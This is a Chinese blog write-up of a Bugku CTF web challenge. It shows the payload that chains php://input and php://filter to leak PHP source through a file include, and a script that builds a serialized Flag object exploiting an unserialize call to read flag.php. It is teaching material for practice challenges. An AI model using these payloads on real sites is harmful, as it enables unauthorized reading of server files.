bugku-welcome to bugkuctf(PHP伪协议&PHP反序列化综合运用)

1.通过php://input对变量输入内容,让file_get_contents能够读取变量的内容

2.通过php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代码

3.通过反序列化,对echo的魔术方法__tostring()里面的参数进行赋值
 

 

题目地址:http://123.206.87.240:8006/test1/

 

右键查看源码有提示:

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

 

审计源码,发现本题需要以下要求:

  1. get方式传递三个参数
  2. 存在$user
  3. 读取的$user文件内容===welcome to the bugkuctf
  4. $file要求为hint.php

 

关于php://filter --进行任意文件的读取

可以看这位大佬的博客

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

关于php://input --读取没有处理过的post数据

当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。

 

于是利用这两个php协议

首先读取hint.php内容:

Payload:

?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
[post]welcome to the bugkuctf

Base64解码后:

/*hint.php*/
 
<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

同理把hint.php改为index.php,可得index源码:

/*index.php*/
 
<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
	echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
        exit();  
    } else {  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
} else {  
    echo "you are not the number of bugku ! ";  
}   
?>  

 

从上面获取的源码可得到如下信息:

  1. 提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了preg_match正则匹配
  2. hint.php中定义了一个Flag类,注意到中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
  3. __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开
  4. 在index.php源码中看到了$password的作用
  5. else代码块中又包含了$file,并且对$password进行反序列化

 

将hint.php中的Flag方法当做字符串执行时,会自动执行 __tostring函数,只有echo,只能输出一个或多个字符串,所以构造&passwordFlag类型,其中的string变量$flie=flag.php即可。

我们可以使用脚本序列化$password:

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  

$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>  

执行得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

在这里简单说一下php的反序列化

将原来的某个对象进行序列化之后,从序列化后的结果中就可以知道这个对象的具体类型和值。

 

关于序列化,以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}为例

    O(大写):对象class
    4:4个字符
    "Flag":对象名
    1:数量,一个
    s:string
    {}里的为参数
 

最后我们把构造好的序列化输出通过password上传即可得到flag。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟敛寒林o

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值